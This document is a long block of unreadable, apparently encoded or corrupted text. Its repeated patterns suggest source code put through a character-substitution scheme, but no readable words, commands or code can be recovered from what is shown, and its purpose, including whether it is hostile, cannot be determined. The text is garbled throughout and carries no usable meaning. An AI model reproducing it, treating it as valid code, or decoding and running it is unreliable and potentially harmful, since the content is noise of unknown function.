OFFFYFFFAWAFF\FFFAVAO]llllFFFF 	FF^Q
9UV_NOlFlFFFFFFB9FF[FFP

_
TNTVRTON9UNW^SPOOFYFF9		N	^R_ NTWROJFFFFFDDOFFF\FDD]lFFFFFFF	9PQR9U
		UNO]lFFB9RSFF[FFF9UNTVRTONP

_
TNW^SPOOFYFFF9		N9UNTWROJFFFDDOF\FFFFDD]llFF FNB9RSFF[[[FFFFFFB9OFF&
9		N9UNTWROO]lllllF 	FFF	9PQR9U
		UNOlFFFBP_[WWVQ]B W		[BP_8WP]llllFFFlFFFFFFF FFFFFFNG N9UNW_WQOOOFFFFF]lFFBR WPV FFFF[FTQ^V^_ NO]B	STUS[6.69/(29+'>I6.69/(29+'>]BSRTWS[B	STUSMWT]lFFFBPW F[FFF 	T^U^NO]lFB ^R ^_P RFFFF[FFFFF	
_N'$56'2.FHF	^R_ NWPWSOJFFFFFNUMSOOFFHFFF	^R_ NWUT^O]lFFFFB
9^RFFFF[FF	
_N'$56'2.FFFFHFFF	^R_ NTVSUOJFFNWUKSOOFFHFFP

_
TNTVSRO]lBQQ FFFF[FF	
_N'$56'2.FFFFFFHFF9UNTVTPOJFFFNWMQOOFHFFFFF	^R_ NTVSRO]lFFFBVUQ^^FFFFF[FFF	
_N'$56'2.FHFFFU	NWUQ_OJFFFFNVRMVROOFHFFU	NTVSSO]lFFFFFB	SF[FF	
_N'$56'2.FHFFFFP

_
TNWRVWOJFFNVRMVROOFHFU	NTVSSO]lFFFBRU	R^VFFF[FFFP

_
TNWPRPOFFHFFFFF	
_N'$56'2.FFHFFFFAAJFFNWZZUOO]lFFFBTU 9WWFFFF[FFNlBR WPV FFHFF	^R_ NTVSPOFF[XFF9UN_TROJlBR WPV FFHF	^R_ NTVRROFFFFF[XFFFFU	NTVSQOJlFO]lF 	FFFNBTU 9WWFFFFB
V^V^FF[XFFB OFFlFFF FNG&U	NTVRWONB
V^V^OOFFF	]lBT VVFFFF[FF&P

_
TNTVS^ONB
V^V^O]llllFFFF FNBT VVFFF[[[FF 
OFF	]lllFB
RRTF[FFP

_
TN_T_OFFFHFFFFFB FFFFFHFFF	^R_ N_UVOFHFFFFB FFFHFFF9UN_UWO]lFFFFB9QWV9FFF[FFFU	NTVS_ONB
RRTJFFDDJFBT VVO]lFFF FFFFNB9QWV9FFG[[FBT VVOF URUSWNB
V^V^JFB9QWV9O]llllFFFFFFlFBRWSPFF[FFFFBR WPV FHFFF	^R_ NSQ^O]lFFF FFN&9UNTVRWONBRWSPOOFFlFFBQ_FFF[FF&9UNTVPVONBRWSPO]lFFFF FNP

_
TNTVTSONBQ_OFFF@@FFBQ_FFFFFG[[FFDDOFFFFFlllF FFFFFFNP

_
TNTVURONP

_
TNTVPWOJFFFU	NTVPTONBQ_JFVJFFNTSUMRQOOOFFFFFFFFU	NTVPUONBQ_JFFFFP

_
TNWSSVOOF[[[FVOFFFlFFU9
 NBRWSPJFFFFNRWTM^OO]lF
VUNBRWSPO]lFF
FlIIF

F 	llB^S^F[FU	NTVS_ONP

_
TNTVPROJFFDDJFFBQ_O]lFFFFFFF FNP

_
TNTVTSONB^S^OFFF@@FFFFB^S^FFG[[FFBQ_OFFF URUSWNBRWSPJFFFFB^S^O]lFNB^S^O]lFFFFlFFFFlNBQ_O]BRTWS[WW^RT]BRT_9[BRTWS8WVR]llFBV_WPF[FFFF9UNW_WUONWP__VVUVNOOFFFFFHFFFFFP

_
TNWRTO]B9S9[NVTSMVQWO]BS^[B9S9CWT]lFFFFBRW	^FFFFFF[FFF N9UNW_Q^OOFFFFYF169%)(2#(29"/4FFHFF9UNTVPSOFFF\FFBV_WP]lFFFFB9VPVF[FFFNlFFFFBR WPV FFFFFFHFAIAFFHFFFFB ^R ^_P RJlFFFFFBR WPV FFHFFAIAFFHFB
9^RJlBR WPV FFFHFFFAIAFFHFBQQ JlBPW FFFFHFFFAIAFHFFBVUQ^^JlFBPW FHFFFAIAFHFFFB	SJllFBPW FFHFFFFFFAIAFFFHFB
9^RJlFFFFFFBPW FHFAIAFFHFFFFFBQQ JlllFBV_WPFHFFFFFAIAFFHFFBVUQ^^JlFFFFFBV_WPFHFFFFAIAFFFHFFFB	SJlFFFFBV_WPFFFHFAIAFFHFFFB
9^RJlFFFFFFFBV_WPFFFFHFFFAIAFFFHFFFFBQQ JlFFFFFBRW	^FHFFFAIAFFFFHFFFFBVUQ^^JlllFFBRW	^FFHFFAIAFFHFFFFFB	SJlFFFFFFBRW	^FFFHFAIAFHFFB
9^RJlFBRW	^FHFAIAFFHFBQQ JlFFO]lFFFFFFB9RV TTFF[FF
RUTU9RNO]lFFB9VPV=;FF[FFB9RV TT=W;]lFB9VPV=;FFFFFF[FFB9RV TT=W;FFHF	^R_ NWQQTO]lFNB9RV TTO]lFFFF FN9UNTVRTONP

_
TNW__QOOOFlFF 	FFFNNOFFF&	^R_ NW__QONBR WPV FFFHF	^R_ NTVPPOFFFFHFFFB ^R ^_P ROFFFFFFFFFFBPSSP^__R9_VOFFFB9VPV=;FF[FBPSSP^__R9_V]lF 	FFNNOFF&	^R_ NTVPQONBR WPV FHFFFFU	NTVP^OFFHFFFB ^R ^_P ROFFBPSSP^__R9_VOFFFFB9VPV=;FFF[FFFBPSSP^__R9_V]l 	FFNNOF&9UNTVPQON'$56'2.FHFFFFFP

_
TNTVP_OFHFFBRU	R^VFHFF	^R_ NUWTOOFFFFFFFFB
^Q^	P^R
UOFB9VPV=;F[FFFB
^Q^	P^R
U]l 	FFFNNOFFF&P

_
TNTVPQONBR WPV FFFFHFFFFFAIAFFFFFHFBRU	R^VFFFHF	^R_ NUWTOOFFFFFB
^Q^	P^R
UOFFFB9VPV=;F[FFFB
^Q^	P^R
U]B
9TP
SV[6.69+',)490#45/)(]BVPPU[B
9TP
SVLWV]l 	FFFNNOF&U	NTVPQONBPW FHFAIAFHFFBRU	R^VFFHFFFF	^R_ NUWTOOFFFFFFB
^Q^	P^R
UOFFB9VPV=;FFFF[FFB
^Q^	P^R
U]l 	FFFFFNNOFF&	^R_ NTVPQONBV_WPFFFFHFAIAFFFHFFBRU	R^VFHFFU	NUWTOOFFFFFB
^Q^	P^R
UOFFFB9VPV=;FFFF[FFFFB
^Q^	P^R
U]l 	FNNOFF&P

_
TNTVQVONBRW	^FFFFHFFFFAIAFHFFFFBRU	R^VFHFFFFFF9UNTVQWOOFFFFB
^Q^	P^R
UOFFB9VPV=;FFF[FFB
^Q^	P^R
U]lFFlB_Q UT9_F[FFF	
_N'$56'2.FFHFAAJFNWMQOO]lFFB99W^
UF[FFFFFN'$56'2.FFFFHFFFFP

_
TNTVQTOJFFFFBR WPV JFFFFBPW JFFBV_WPJFFFFFFBRW	^O]llllFFFFF 	FFNB99W^
UFFFFFB9OFFFFFlIIF1	6FPHUF	\F	K FKllFFF FFN&9UNW_^TONB9OF@@FFF&P

_
TNW_UPONB9OOFFU_TVQTQ	_NB9FFHF9UNTVQUOFFFHFFFFB_Q UT9_JFF^P	PU QNOJF9UNTVQROO]lFFlFFFFF FFFFFFNP

_
TNTVQSONU	NTVQPOOOFFl 	FNB99W^
UFFFFB9OFFFFFlFFF 	FFNNU	NTVQQOJF9UNTVQ^OJFU	NTVQ_OJFFF9UNTV^VOJFFFFP

_
TNTV^WOJFFFF9UNTV^TOJFF	^R_ NTV^UOJFFFU	NTV^ROJF9UNTV^SOOFFFFB_ROFFFB WS[NVPVMV_O]BW^[B WSCS]l 	FNNOF&P

_
TNTVQPONB9FFHFAIAFFHFFB_RFFHFFFALAOFFFBP
P OFFFFB9VPV=;FF[FBP
P ]lllllFFFF 	FFFNNOFF&P

_
TNTVQPONB9FFFFHFFF9UNTV^POOFFFFFFFBT	OFB9VPV=;F[FFBT	]lFFllFFlNB_Q UT9_JFFFFB99W^
UJFB9JFB_RJFBP
P JFFFFBT	O]llFFFB^_^VUU9FFF[FFFFFFN'$56'2.FFHFFU	NTV^QOJFFFFBR WPV FHFP

_
TNTVTTOO]lFF 	FFFFFFNB^_^VUU9FFFFFBRPPSOFl FFFFNG&U	NTVRWONBRPPSOOFFFF	]lFFBT VVFFFFF[FFFFFF&P

_
TNTV^^ONBRPPSO]B^W	^[SSLT]B
RT[B^W	^KTU]lFFF FFFNBT VVFF@@FFP

_
TNTVPUONBT VVJFF9UNTV^_OOFG[[FFF 
OFFFFlFFFFFBT VVF[FFP

_
TNTVS_ON	^R_ NTV_VOFFHFFFFP

_
TNWRWVONB
9^RJFFAIAOFFHF	^R_ NWWSPOJFFD:DJFBT VVO]lFFFFFFF FFFNP

_
TNTVTSONBT VVOOFFFFFlBT VVFFFFF[FU	NTVS_ON9UNWWSQOFFFFFHF9UNWRWVONB
9^RJFFFFAIAOFHFFP

_
TNTV_WOJFFFFD:DJFBT VVO]llFFlFFFF FFN9UNTVTSONBT VVOOFlFBT VVFF[F9UNTVS_ONP

_
TNTV_TOFFHFFFF9UNWRWVONB
9^RJFFFFFFAIAOFFFFHFFU	NTV_UOJFFFD:DJFFBT VVO]B9UT[SVPS]BQ	[B9UTCU]llF FFNP

_
TNTV_RONBT VVOOF URUSWNBRPPSJFFFBT VVO]lFFFFlFFFFFFllllFFB^V_PFF[F'$56'2.FFHFFFF	^R_ NTV_SO]lFFF FNG&P

_
TNTV_PONB^V_POOFFFlFB
RR9 VFF[FFFU	NTV_QON'$56'2.OFHFF9UNTV_^O]llFFFF FFFN&9UNTV_PONB
RR9 VOOFB^V_PFF[FB
RR9 V]llllFlFF FFN&	^R_ NTV_PONB^V_POF@@FF&9UNW_UPONB^V_POOFFFFlFB9F[FFF&9UNTV^^ONB^V_PO]B^V	V[_QVV]BR [B^V	VCWU]l FFFFNU	NTV_RONB9OF@@FFF9UNTVPUONB9JFP

_
TNTV__OOFFG[[FFFFF 
OFlFFFB^9_UV_W FF[FFU	NTWVVONU	NTWVWOJFFDDJFFFFB9O]lF FN	^R_ NTV_RONB^9_UV_W OFFFFF@@FFFFFB^9_UV_W FFG[[FFFB9FFF@@FFFFFFS_V9QNB^9_UV_W OOFFFFFFllllFFB^^ F[F&9UNTWVTONB^V_PO]lF FFFFN URUSWNB^V_PJFFB^9_UV_W OF@@FFFFFB^^ OFF&U	NTWONB^V_PJFFB^^ O]llFNB^9_UV_W JFFB^^ O]lFFlNB9O]lFlNB^V_PJFFB
RR9 VO]lFFB		9_W9	^UFFF[FFU	NTVQSONP

_
TNWR^UOOFFYFFFFFF&U	NWR^UON	^R_ NTWVUOOF\FFF 
]l FFNGB		9_W9	^UFFB		9_W9	^UFFFFFF[[[FFFDDOFFFFFB		9_W9	^UF[FFF	^R_ NTWVRO]llllFBQW^VVF[FFN'$56'2.FFHFB		9_W9	^UJFFBR WPV FFFFFHFAIAFFFFHFFFFB		9_W9	^UO]lFF 	FFNBQW^VVFFBS^U_WOFFFFFlFF FFFNG&P

_
TNTV_PONBS^U_WOOFFF	]lFFFFFBT VVF[F&P

_
TNTWVSONBS^U_WO]lll FFFFFNBT VVFFFFF@@F9UNTVPUONBT VVJFFFFU	NTV^_OOFFG[[FFF 
OFFFlFFFFFFBT VVFF[FU	NTWVPON	^R_ NTWVQOFHFFFFFU	NTWV^ONBQQ JFFFFAIAOFFHF9UNTWV_OJFFFDDJFBT VVO]llllFFFFFF FNU	NTV_RONBT VVOOF URUSWNBS^U_WJFFBT VVO]lllllFFFFFBQ	RFFF[FFFFFNllllFFBR WPV FFHFFFAIAFFFFHFFBQQ JlFFFFFBPW FFFHFFAIAFFHFFFBQQ JlllFFFFFBV_WPFHFFFFFAIAFFHFFBQQ JlFFFFO]lllFFFFB_Q	QUPFF[FFFFFFU	NTWWVONB9VPVJFFFBQ	RO]lFFFFF 	FFFFFNBQ	RFFFFFFBT	W QOFFFlF FFFFFN&	^R_ NTWWWONBT	W QOOFlFFFFFU9
 NBT	W QJFFFNPRQKTTQOO]lFFF URUSWNBT	W QJF9UNWPVTOO]lFFFFFllF 	FNB_Q	QUPFFFFFBT	W QOFl FN&P

_
TNTWWWONBT	W QOOFFlFU9
 NBT	W QJFNUTRM_POO]l
VUNBT	W QO]lllllFFlFFFF 	FFFFN UT	QU
SNOFFFFFB	9 UOFFFl FNG&9UNTWWWONB	9 UOFFFFFFFFG&9UNW_UPONB	9 UOOF	]lFBT VVF[F&P

_
TNTWVSONB	9 UO]lFFFFF FNP

_
TNTV_RONBT VVOOFFlFFFFFFFB^ _U9F[FFFF_RWUNBT VVJF9UNTWWTOJFFFU	NTWWUOO]lB^ _U9FF[FFF_RWUNB^ _U9JF	^R_ NTWWROJFFF9UNTWWUOO]lF FFNU	NTV_RONB^ _U9OF@@FFFFFFB^ _U9FFFG[[FFFFBT VVOFFF URUSWNB	9 UJFFFB^ _U9O]lFFFFFFFNB^ _U9O]lFFFFFlFllllFFF FFFN	^R_ NTVQSONU	NWS_ROOFFFF@@FFFFFP

_
TNTVQSON	^R_ NTWWSOOOFFFFFFllllFFFFBFFF[FFF99 
	^NO]lF FNBFG[[FFF 
OFlllFFFFB9U9^Q9S FF[FFFF&9UNWS_RONBJFFFFAAJFFVJFFVO]lFFF FFFFNB9U9^Q9S OFFlF&P

_
TNTWWPONB9U9^Q9S O]lFFFF&9UNWS^_ONB9U9^Q9S O]lFFFlFFFFFlFFFFFFlFFFF FFNU	NTVQSONP

_
TNTVVPOOOFFlFFFFFBTS
FF[FFF	
_N'$56'2.FHFU	NTVV^OJFNPMROO]lF&
9		NBTS
O]llllB9 _UURF[FFFF9UNTWWQONU	NTWW^OOFFFFFYF&9		NP

_
TNTWW_OJFNOOF\FFFFNO]l FFFNU	NTWTVONB9 _UUROOFFlFFF FFFFNNB9 _UUR=AA;OOF
VUNB9 _UUR=AA;O]lFF FNNB9 _UUR=P

_
TNTWTWO;OFFF@@FFFF9UNTWTTONB9 _UUR=P

_
TNTWTWO;OOFFl 	FFFNB9 _UUR=9UNTWTUO;FFFFFFB9OFFFlllFFF FNU	NTWTTONB9OF@@FFNB9=AA;OOFFFF
VUNB9=AA;O]lFlFlFFlFFFFFF&
9		N9UNTWW_OO]llFF&
9		N9UNW^^QOO]lFF&
9		NU	NTWTROO]l&
9		N	^R_ NWSVVOO]lFFFFFF&
9		NU	NTWTSOO]lFFFFF&
9		N	^R_ NWRPVOO]lFFFF&
9		NU	NWRR_OO]lF&
9		N	^R_ NWRPWOO]llFFFNB9 _UURJFFFB9O]lFFFFFlIIF16F 	F*F		F	ll FNP

_
TNTWWQONU	N^_VOOOFFFlFFFFFFFF&
9N	^R_ NTWTPOO]l&
9N9UNTWTQOO]lFF&
9NW9_QSSQVNOO]llF FFFFNP

_
TNTWT^ON	^R_ NTWT_OOOFFFFFlll&9
9
9		N	^R_ NTWUVOO]B Q
UP[W_STST]B^[B Q
UP8W_]lllF&9
9
9		N	^R_ NTWUWOO]lF&9
9
9		NTVQT^NOO]llllFFFFFlFFFFFFFFN2	
FFFB
WSW9TOFFFFFFlFFF	RR^TT9
NU	NTWUTOJFB
WSW9TO]lFFFFFN#	FB
WSW9TOFFllFFl 	FF 	WUSNOlFFFlFFFFll FNG NU	NW_WQOOOFFFFFFF 
]llllBR WPV F[FFFTQ^V^_ NO]lFBR		
RF[FFFBR WPV FHFFF	^R_ NTVRRO]lFFBTVFF[FFFF9UNW__SONWP__VVUVNOJFFU	NTWUUOO]lFFB
VRW
FFFF[FFFFTWTNO]lF FFNGB
VRW
FFFFF9UNW_VTONB
VRW
OFFFFZFFFFFFNRQPMTROFFFFFFF9UNTWURONB
VRW
OFFFFXFNVSWMVWWT OFFFFWTWSS_PWNB
VRW
OFFFGS_V9QNB
VRW
OOFFFFFF 
]lBF[F&U	NWSVRONBR		
ROFFFYF&9UNTWVSONBR		
ROFFF\FFFFDD]lFFFF FFFFNGU	NTV_RONBOOFFlF	RR^TT9
N9UNQUWOJF9UNWRRTOO]lFFFFFFFFF 
]lFFFlFFFFFFBFFFF[F9^QSRQNBO]lBWQS	F[FF^P	PU QNOFFFFFHFFFFA\AFFFFHF	
_N'$56'2.FHFFFF9UNTWUSOJFNVWMVQOO]lllFFFB9TV_PF[FFF9UNTWUPOFFHFFFBWQS	FFFFFFHFP

_
TNWPTQO]llllBWU^_FFF[FFFF9UNTWUQOFFFHFFFFFBWQS	FFFHFP

_
TNWPTQO]lFFFFFBQ__FFFFFF[FF	
_N'$56'2.FFHFFU	NTWU^OJFNSMUOO]lFFBPSFFFF[FFFF	^R_ NTWVPONU	NTWU_OFHFBQ__FFHF9UNTWRVOJFFDDJFFFFFBO]lFFFBQ V
SFFF[FNU	NTWRWONBPSJFFFU	NTWRTOOFFFFFG[[FFF 
O]lF FNP

_
TNTWRWONBJFFB9TV_POFFG[[FF 
FF@@FP

_
TNTWRWONBJFFFFFFBWU^_OFFFG[[FFF 
FFFF@@FFGBQ V
SOFFFFF]lBFF[FFFU	NTWRUONU	NTWRROJFFDDJFFBPSO]lF FNGP

_
TNTV_RONBOOFFlFFF	RR^TT9
N9UNQUWOJFFFP

_
TNWSPVOO]llFFFFFF 
]lFFlFFBPQ
 9FFFFFF[FFFU
WTNO]lF FFFFFFNGBPQ
 9OFFFFFF 
]lllFFFBVWT	STW
F[FP

_
TNTWRSOFHFFF9UNTVPTON9UNTWRPONBTVFHFNOFR
PPRTNOOJFFFVJFFFN_^8WVPOO]lFB		P^WTR_FFF[FFFF_9 RRP9R _Nl9UNTWRQOJlNA995*3!99AJFFFA996*3!/(9$'5#PR99AJFFFFFA99!3'4"9('+#99AJFFA990#45/)(99AOJlFNBTVJFBPQ
 9JFBVWT	STW
JF^P	PU QNOOlFFFFFO]lFllF FFNGB		P^WTR_OFFFlFFFF FFNNOFF9		NP

_
TNTWR^OJFFFVOFXFFFFVOFFFF	RR^TT9
N9UNQUWOJFFFU	NTWR_OO]llllFFF 
]lFllFFFFFBF[F9^QSRQNBO]lFFFFBP F[FFF	^R_ NTWRUONP

_
TNTWSVOJFFFFDDJFB		P^WTR_O]lFB	U	
QF[FFN9UNTWSWONBOFF[[[FFVO]lllF FFNGB	U	
QOFFFFlF FNG9QP W Q TNU	NQUWOOOFFlllFFFFF	RR^TT9
N9UNQUWOJFFFFU	NWSPTOO]lFFFFF 
]lFll FFNGVW9_		SNBR		
RJFFFFFFBOOFlF	RR^TT9
NP

_
TNQUWOJFFFF9UNWPRWOO]llllFFFFFF 
]lFFlFFVNU	NQUWOO]lFFFF
FlF FFFNGVW9_		SNBR		
RJFDDOOFB9_[_MW_]B
V[B9_KWS]lFFFF	RR^TT9
NP

_
TNQUWOJFFFFFP

_
TNTWSTOO]llFFFF 
]lFFFFFlFFFFlFBVS9FFF[F
_S_TQ 9^QUP_NBJFFB9TV_PFFFHFFD:DFFHFBP FFHFFFFD:DFFHFBWU^_O]llllF FNG URUSWNBR		
RJFBVS9OOFFlFFFFFFF 
]llFFFlFFFFF FNB	U	
QOF
V _RR _9NBR		
RO]lFFFFFF]lFFFFFN2	
FFFFB
WSW9TOFFFFlFFFF	RR^TT9
NP

_
TNQUWOJFB
WSW9TO]lFFFFFFFFFF 
]llFFFFFN#	FFB
WSW9TOFFFlFFFFF 
]lFFFFFllllllll 	FFFF UT	QU
SNOlFlFFFFFFBU	9FFFF[FNO]lFFllFFFFFFFF FNG9UNTWT^ON	^R_ NTWW^OOOFFBU	9]lFFFFFB99SFF[FFN N9UNW_Q^OOFFFFYFFFFFF169%)(2#(29"/4F\FFFFN NP

_
TNW_WQOOFFFYFF'$56'2.FFHFFP

_
TNTWSUOFFF\FDDOOFHFFU	NTWSRO]llFFFFBTRTQFF[FNOFFF&9		NU	NWTSUOJFFFDDO]lF FFFFNBTRTQFFFG[[FFDDOFFBU	9=;FFFF[FB99SFHFFFBTRTQFHF9UNTVRSO]lFB QS9
_FFFF[FFFNOFF&9		N	^R_ NWTSROJFDDO]lllFFF FNB QS9
_FFFG[[FDDF@@FFB QS9
_FG[[FFBTRTQOFFBU	9=;F[FFB99SFFFHFFFFB QS9
_FFFFHFP

_
TNTVRSO]llllFFFFFBU	9]lFFFlFF 	F
Q_SWS_NOlFlFFFFFl FFFNG NP

_
TNW_WQOOFFGU	NTWT^ON	^R_ NTWSSOOOFF]lFF 	FFFN UT	QU
SNOFFFFFFFFBVVS_Q_
 OFFFFlIIF	FF	lllFFFBWP9PF[FFF 	T^U^NOFFHF9UNTWSPOFHFF	
_NBVVS_Q_
 JFFFNWWMWOOFFHFFP

_
TNW^UQO]lFFF FFNG&P

_
TNTWWWONBWP9POOFFF	]lFF FN&P

_
TNTWWWONBVVS_Q_
 OFFF@@FFFF&	^R_ NTVRVONBVVS_Q_
 OFXFFFFVOFF	]lFBPSVFFFFF[FF&	^R_ NTWVSONBWP9PO]lFFF FFNG9UNTV_RONBPSVOFFFFFFFBPSVFFFFF[[[FFFFDDOFF	]lll FN URUSWNBVVS_Q_
 JFFFBPSVOOFFFFFlF	RR^TT9
NP

_
TNTWSQOJFFFF	^R_ NTWS^OO]lFF&9		N9UNTWS_OJFFU	NW^^TONOJFFF9UNTVWUOO]lFFFFlFlIIF&F	KKllFFFFFFFN2	
FFFB
WSW9TOFFlF	RR^TT9
N	^R_ NTWSQOJFFFB
WSW9TO]lFFFFFFFFN#	FFB
WSW9TOFllllFlFFFFFF 	FFU_R9S_TSTNOlFFFFFllllFFlF FNG NU	NTWPVOOOFFFFFFF 
]lFFFFFFllFFB FFFF[FFFF UT	QU
SNO]l FFFFNNB OOFFFFFF 
]lFB^ F[FNOFF9		NU	NTWPWOJFFFFFVO]l FFFFFNB^ F@@FFFF	^R_ NW^^TONOFKFFFFFB^ FFZFNVTRMVWTPOOFF 
]lFFFBWQS	F[FF^P	PU QNOFFHFFFA\AFFHFFF	
_N'$56'2.FFFFHFFFFFF9UNW^WSOJFFFFFFNVPMVTOO]lllFB9TV_PFF[FFP

_
TNTWPTOFFHFFFFFBWQS	FFHF	^R_ NTWPUO]lBWU^_FFF[F9UNTWPROFFFFHFBWQS	FFFFFHFFFFP

_
TNTWPUO]lBVWT	STW
FFF[FFP

_
TNTWPSOFHFF9UNTWPPON9UNTWRPON'$56'2.FFHFFFNOFFFR
PPRTNOOJFFFFFFVJFNTZZTOO]lFBTVFF[FFFU	NW__SONWP__VVUVNOJFF	^R_ NTWPQOO]lFBPQ
 9FFFF[FU
WTNO]lFFFllF FFFNGBPQ
 9OFFFF 
]lBPSPU
F[FFFF_9 RRP9R _NlFF	^R_ NQUROJlFFNA995*3!99AJFA996*3!/(9$'5#PR99AJFFFA99!3'4"9('+#99AJFFA990#45/)(99AOJlFFFFFFNBTVJFBPQ
 9JFFBVWT	STW
JFFFFF^P	PU QNOOlFFFFFFFO]lFFFF FFNGBPSPU
OFFFFFlllFF FFFFFNNOFFFFF9		NP

_
TNTWR^OJFFVOFFFFFXFFFFVOFF	RR^TT9
NP

_
TNTWSQOJFFFFFFU	NTWP^OO]lFFFFF 
]lFFlFFBPSPU
FFF[FF9UNTWP_ON	^R_ NTWSVOJFFFFDDJFBPSPU
O]lFFFF FFFFNGP

_
TNTV_RONBPSPU
OFFFFBPSPU
FFFF[[[FFFFDDOFF 
]lFF 	FFNB FFFFFB	9 UOFFlFFFFFF FFFFNG&9UNTWWWONB	9 UOOFF	]lB	_ P	F[FF9UNTWT^ON	^R_ NWVROOFFYFFFFF&P

_
TNWVRONB	9 UJFAAOFFF\FFF 
]lFF FNB	_ P	FFG[[FF 
FFFFF@@F9UNTWT^ON	^R_ NTWQVOOOF& 
	NB	_ P	JFF*)%-9#>O]lFBFF[FFFFFF&U	NTWVSONB	9 UO]lF FFNGU	NTV_RONBOOFFFFFlF	RR^TT9
NU	NTWQWOJFU	NWRRTOO]lFFFF FFFNB	_ P	FFFFFG[[FFF 
OFFFFll FN9UNTWQTON9UNTWQUOOOFFF& 
	NB	_ P	JFFFF*)%-93(O]lFFFFF& 
	NB	_ P	O]lFlFFF	]lFFlFFFllF FFFFFN	^R_ NTWSWONBOFXFFFFNVW UMVUVUOOFFFFFBFFF[F9^QSRQNBO]B
RS[WVPW_S]BQ W^	[B
RS8WR]lFFFF FFNP

_
TNTWRWONBJFFFB9TV_POFFFFFG[[F 
F@@FFF9UNTWRWONBJFFFFFBWU^_OFFG[[FF 
OFFFFFF]ll FFFFFFNG&U	NW_UPONB	9 UOOFFF	]llllFFFFFBWP9PFFF[FFF 	T^U^NOFFFFFHFFU	NTWQROFFFHF	
_NB	9 UJFFNPZZWOOFFFFFFHFP

_
TNTWQSO]llllFFB
W_F[F	
_N'$56'2.FFFHFFF	^R_ NTWQPOJFFFFFNTZZTOO]lFBFFFF[FF_RWUNBJFF9UNTWWTOJFF	^R_ NTWQQOO]lFFFBFFFFF[FF9UNTWQ^ON9UNTWQ_OJFFFFFFDDJFFBO]l FFNGP

_
TNTV_RONBOOFllFFFF	RR^TT9
NP

_
TNTW^VOJFFFP

_
TNTW^WOO]BVV[WWRT^]BR W[BVV8TVV]lllFFFF	]lFFl FFNP

_
TNTW^TONBJFU	NTW^UOOFFFFG[[F 
FFFFU	NTW^TONBJFU	NTW^ROOFFFFFG[[FFFF 
OFFlBRTUF[FFFFF&P

_
TNTWWWONBWP9POFFFYF&	^R_ NTWVSONBWP9POFFF\F 
]lF FFFFNGP

_
TNTV_RONBRTUOFFBRTUFFF[[[FDDOFFFFB_RRWQ
	[TSQ^]B	 Q9S[B_RRWQ
	CWR]lFF	RR^TT9
NP

_
TNTW^VOJFF	^R_ NTW^SOO]lFFF	]lFllFBF[FFFFFBRTU]lFFNBRTUO]lFFlFFFBTQTPFF[F9PS^NBO]l FFFFFN	^R_ NTV_RONBTQTPOFF@@FFFFFBTQTPFFFFFG[[FFDDOFFFFllFFFFFB	U^TPFFFF[FFFF&U	NTWWWONBWP9POFFFFYF&	^R_ NTWVSONBWP9POFFFF\FF 
]lF FFFNGP

_
TNTW^PONB	U^TPOFFFFB	U^TPFFFFFFG[[FFBTQTPOFF URUSWNBWP9PJFFFBTQTPO]lllFFFNB	U^TPO]llFFFNBTQTPO]lFFFBP
VUWFFF[FU	NWPVTO]l FFFFFNU	NTWSWONBOFFXFFVFF@@FFFP

_
TNTW^TONBJFFFFFU	NTW^QOOFG[[F 
FFFF@@FFFFFP

_
TNTWPPONU	NTW^^ONBOJFKTOFFFFG[[FFFFFF9UNWP_POOFFFlFFFFFFBP
VUWF[FFFFDD]lFlllFFFFFFFBV_ UFFFF[FFFNP

_
TNTW^_ONBOFFFFXFFFVOFFFYFFFD:DFF\FDD]llFFFBUV	F[FBV_ UFFFHFFBP
VUWFHFB9TV_PFFFHFFD:DFHFFFBPSPU
FFFHFD:DFFHFFFBWU^_FHFD:D]lFFF FFFNGVW9_		SNB	9 UJFFFFFBOOFFFlIIF 
 

F 
F  KlllFF	RR^TT9
NU	NTW^VOJFF	^R_ NTWSTOO]llFFFF	]lFFFFFFFllFFF FNG URUSWNB	9 UJFFBFFHFFBUV	OOF	]lFF]lFFFFF 

FFllFFFFFFFF FFFFFNB	_ P	FFFFFG[[FF 
OFFlFF FN9UNTWQTON	^R_ NTWQUOOOFFFFF& 
	NB	_ P	JFFFFF*)%-93(O]l& 
	NB	_ P	O]lFFlFFlFlFFFFF 
]lFFFFFFFN2	
FFB
WSW9TOFFFlFFF	RR^TT9
N	^R_ NTW^VOJFFB
WSW9TO]llllFFFFFFFF 
]lFFFFFFFFN#	FFFFB
WSW9TOFlFFFFF 
]llFFll 	FF9 
PP^SSRWNOllllFFFFFFFFFFllllFFF FNG NP

_
TNTWPVOOOFFFF]lF FNW U^PTWSNWP__VVUVNOOOFFFF]lFFBR WPV FFF[FTQ^V^_ NO]lFFB ^R ^_P RFFFFF[FFF	
_N'$56'2.FFFFFFHFFF9UNWPWSOJFFFFNSP8R^OOFFFHFFFFP

_
TNTW_VO]lFFBTVFFF[FFFP

_
TNW__SONWP__VVUVNOJFFFFF9UNTW_WOO]lFFFFFB
VRW
FF[FTWTNO]lFFF FNGB
VRW
FFF9UNTW^_ONB
VRW
OFFZFFFNRW_M^WOOFFlF	RR^TT9
N9UNWRQ_OJFFFF	^R_ NTW_TOO]l]llllF FNG9UNWSTSON9UNTW_UOOOFFF]lFFB^^RT	^FF[FNlFFBR WPV FFFFFHFAIAFFHFFB ^R ^_P RJllFFBR WPV FFHFFP

_
TNTW_ROFFFHFF9UNTW_SON9UNTW_POOFFFHFFFB ^R ^_P RJlFFO]lB
UVSF[FFN N9UNTW_QOOFFFFFYFFFF169%)(2#(29"/4FF\FFF'$56'2.FHFF9UNTWSUOOFFHFFFP

_
TNWTSPO]llllFF FN&P

_
TNW_^TONB
UVSOOFFlFFFFB9SR9UP
TF[FFTWUQSQNB
UVSO]llFFF FFN	^R_ NTWTTONB9SR9UP
TOOFFllll 	FFFFFNB9SR9UP
TFFFFFFFB
WSW9TOFFFFFlBTFF[FFFFFB
UVSFFFFFFHFFAIAFHFFFB
WSW9T]lFFFF FN&U	NW_^TONBTOF@@F&U	NW_UPONBTOOFFlB^^RT	^=;F[FFFFBTFFHFFAIAFHFB ^R ^_P R]llllF]lFFFllllFFlIIF&F
KllFFFllIIFKFllFF 	FFNB^^RT	^FFFFFFB
QS
^OFFFlFFFFFF FFN&U	NTW_^ONB
QS
^OFFFF@@FFF&	^R_ NTW__ONB
QS
^OFXFNV  MVT_OOFlFFB 	VPF[FF	^R_ NTW_UO]llFFF FFN9UNWSTSONB 	VPOOFlFFBV	QFF[FFFFFFFB 	VPNO]lFFF FFN&BV	QKX	NB
QS
^OF[[[FFOFFFFllllFBV	QKX
	NO]lF	]lFlFFlFFFFllllBQ
WVF[FFFP

_
TNTV_QONB
QS
^O]lFF FNG&U	NW_^TONBQ
WVOOF9WR
R NBQ
